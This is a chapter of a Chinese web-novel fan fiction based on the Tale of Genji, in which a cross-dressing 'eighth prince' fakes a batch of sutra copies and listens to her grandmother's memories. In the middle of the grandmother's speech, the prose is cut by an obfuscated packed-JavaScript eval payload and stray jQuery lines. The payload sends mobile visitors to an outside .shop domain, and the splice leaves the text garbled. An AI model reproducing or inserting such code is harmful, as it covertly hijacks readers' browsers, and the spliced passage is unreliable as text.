50.经文

作品:《[源氏物语]传闻中的明石姬

    有时候,鸣音真说不清楚,源氏的存在对她是福是祸。


    如果没有源氏兄长,也许父亲桐壶帝的目光会多给分给她一点点,她做事也会顺利一些,而不是顶着现在这个“弘徽殿马屁精”的烂名声;


    但正是因为有了源氏,她一系列与“寻常男子”不同之处就那么恰到好处地被解释得通了:


    为什么八皇子男生女相不奇怪?


    ——因为“他”的兄长源氏比他还漂亮啊!那才是真正的美人。


    有了娇花源氏打头,鸣音再秀气,也被认为是正常的,也许这一代的皇子就是这个风格呢,外人还是不要多加猜测了,好好欣赏源氏的美貌就好。


    为什么十五六岁的八皇子每个月都要按时避忌?


    ——因为最近疟疾横行啊!就连八皇子的兄长源氏,都不幸感染疟疾,为了祈求康复,每个月都要各种祈福诵经加避忌呢!


    和源氏一比,八皇子为了身体健康提前防范,有毛病吗?


    再加上这些年鸣音自己滴水不漏的表现,就连一开始觉得“不对劲”的花散里,都完完全全没想到这个“女男颠倒”的大秘密。


    不过现在她可是“上了贼船”啦嘻嘻。


    这次的避忌结束后,八皇子宣布:那莫须有的法师告诫的每月避忌暂时结束了,之后会更加精神饱满地为弘徽殿女御服务。


    与此同时,丽景殿女御的三妹妹被八皇子接到身边,担任皇子的高级女官。她被八皇子称呼为“姨母”、被其他人称为“藤女官”,跟着皇子住在东宫或者一条院,负责照顾目前还打光棍的八皇子的生活。


    弘徽殿女御不在乎八皇子身边出现的不得宠的丽景殿女御的妹妹;


    她在乎的是那个一生之敌——源氏。


    “不是说感染疟疾都要无力回天了吗?怎么又让他活了下来!”源氏目前还能呼吸,女御对这件事情极为不满。


    不过说起来,那些大师似乎还真有点本事?


    想起自家的三个孩子,还有朱雀那个更衣生下的、如今不过一岁多的瘦瘦小小的孙女,弘徽殿女御若有所思。


    “八皇子在做什么呢?”她越过欲言又止的朱雀,直接问向右大臣为朱雀配备的家臣。


    得知八皇子正在帮自家侄子们熬夜润色奏折之后,女御漫不经心:“对,他的书法好看。最近疫病横行,明天好像是个好日子,让他带着抄写的经文前往北山寺替弘徽殿一脉祈福吧。”


    听见这话,一旁的右卫门小心翼翼:“八皇子还要帮太子殿下梳理事务,这样是不是……太过劳累了?”


    劳累,那又怎样?反正又不是自己的孩子。


    前些日子八皇子那个不起眼的舅舅被贬官,那又怎样?反正自家已经给过谢礼了不是吗?


    “八皇子写得好,就让八皇子写。”


    ——“他不做,有的是人做。”


    .


    弘徽殿女御一拍脑袋,一条院灯火通明。


    从精通书法的鸣音,到字迹只能说勉强能看的花散里和卫门佐,从一些会写点字的小侍女,到基本是个丈育(文盲)、只会照葫芦画瓢的兵藤,全员都在补作业(划掉),都在为弘徽殿女御抄写经书。


    鸣音:你让我写,难道还真指望我一个人,一支笔,一个夜晚一个奇迹吗?


    (邪魅一笑.jpg)


    反正下面的经文都是要烧掉的,剩下也就是一堆不能复原的香灰,空空被香客信众虔诚叩拜。于是,鸣音决定主打一个保量不保质,只要有点弯弯曲曲墨迹的纸都能被她夸大为“经书”。而她自己抄写的笔迹端正的佛经,当然会被摆在香案上,还有女御的眼前,当最耀眼的面子工程。


    瞧瞧那边的兵藤,都已经开始在女御提供的纸上面画圈圈了。


    鸣音对目前的集体赶工进度很是满意:大家多画几个圈圈,就不用熬夜啦。等明天上午补觉,下午再找个超级大箱子混淆视听送到北山寺,就齐活!


    至于等神佛看到这些意义不明的纸张?鸣音冷冷敛眸。


    为弘徽殿一脉求福祉的经书,和她弱小可怜又无助的八皇子又有什么关系?


    (无辜脸吹口哨)


    .


    次日一早,生物钟极其规律的鸣音没有惊动还在睡着的大家,悄悄起床来到院子里,和值宿的侍卫吩咐,去右大臣家借最气派的牛车和最大的箱子,好风风光光地为女御祈福。


    平安京的一日开启得很早,此时新日刚刚漏出些许曦光,与之相对的浅淡弯月还没有退出天幕,东边门外已经有了牛车驶过的声音,那是被传唤的官员准备进宫面圣了;而西边也传来了定时开市的小摊贩的叫嚷声,不知是在卖些什么柴米油盐、喊些什么三餐四季。


    “殿下。”鸣音正要回房,在一条院养老的祖母派侍女唤她。


    房间内,祖母为鸣音准备了一摞子经文,都是她过去十几年断断续续抄写的经书。


    “我昨晚睡得早,今天才听说女御的急迫要求…


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014133|190728||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    …这些经文你拿去吧,也算是我这没有抚养过你却还由你养老的老人的心意。”


    有些泛黄的经文字迹斑驳,满溢着当年失去女儿的祖母白发人送黑发人的悲伤。


    “祖母哪里的话?”


    鸣音急忙将老人家已经抚摸过无数遍的往生经文还给如今已经年近花甲的祖母:“我是您的孩子,继承了您和祖父置办的庭院,这些都是我该做的啊!”


    “那你把其他的拿去吧,就当是为了我和你母亲许愿。”


    祖母年纪大了,有时候不自觉想起过去的事情。


    “那年你的母亲也没比你大多少的时候,就进宫当女御去了。她进宫当日泛着油光的气派牛车的样子我还历历在目。一转眼,你也到了能成亲的年纪了。岁月不饶人啊。只可惜远子没有看到你长大的样子……”


    “而我呢?在我和你一样大的时候,我也有过几位闺中好友。其中一个和我玩得最好,但我们又是谁都不肯相让的性格,经常为些小事生气,不到几日就又和好如初了……”


    祖母苍老的眼睛怀念、贪恋又慈爱地注视着鸣音的青春年华。


    “后来呢,您的朋友呢?”鸣音并不催促老祖母,只是坐在她的身边,静静听着她无人倾诉的往事。


    “后来啊……”老祖母回忆,“后来阴差阳错,一次我们又为了小事争执起来。那次我想着等她道歉,就一直不去找她,结果,就那么几天,她就被紧急调走的父亲带走上任了。”


    “我想在少年时期的老家一直等她,可谁知,那时候的局势不稳,众多大臣官员也职务动荡,我的兄长也因为官职改变将我带走了。即使后来我又回到了京都,却再也没有得到过她的音讯了。”


    “何必呢?”老祖母用袖子缓慢地点了点眼眶下的泪迹:


    “那时候觉得天大的让我不愿低头的事情,我竟然如今连回想都没有痕迹了,到底是为了什么啊?是为了一根珠钗还是一个玩偶啊?”


    “何必呢?”祖母茫然重复:


    “为什么要和好朋友因为小小的矛盾而不愿沟通呢?成婚后,明明更大的委屈,还不都是咬着牙齿和血吞了。”


    “这辈子,女儿比我早走了,我也就这样快要结束了……”


    朝阳升起,刚刚还需要点烛的室内不再需要微弱的火光了。


    拉着鸣音搭载自己苍老冰凉手上的年轻双手,祖母叹息:


    “好孩子,一生其实很短暂,千万不要给自己留遗憾啊。”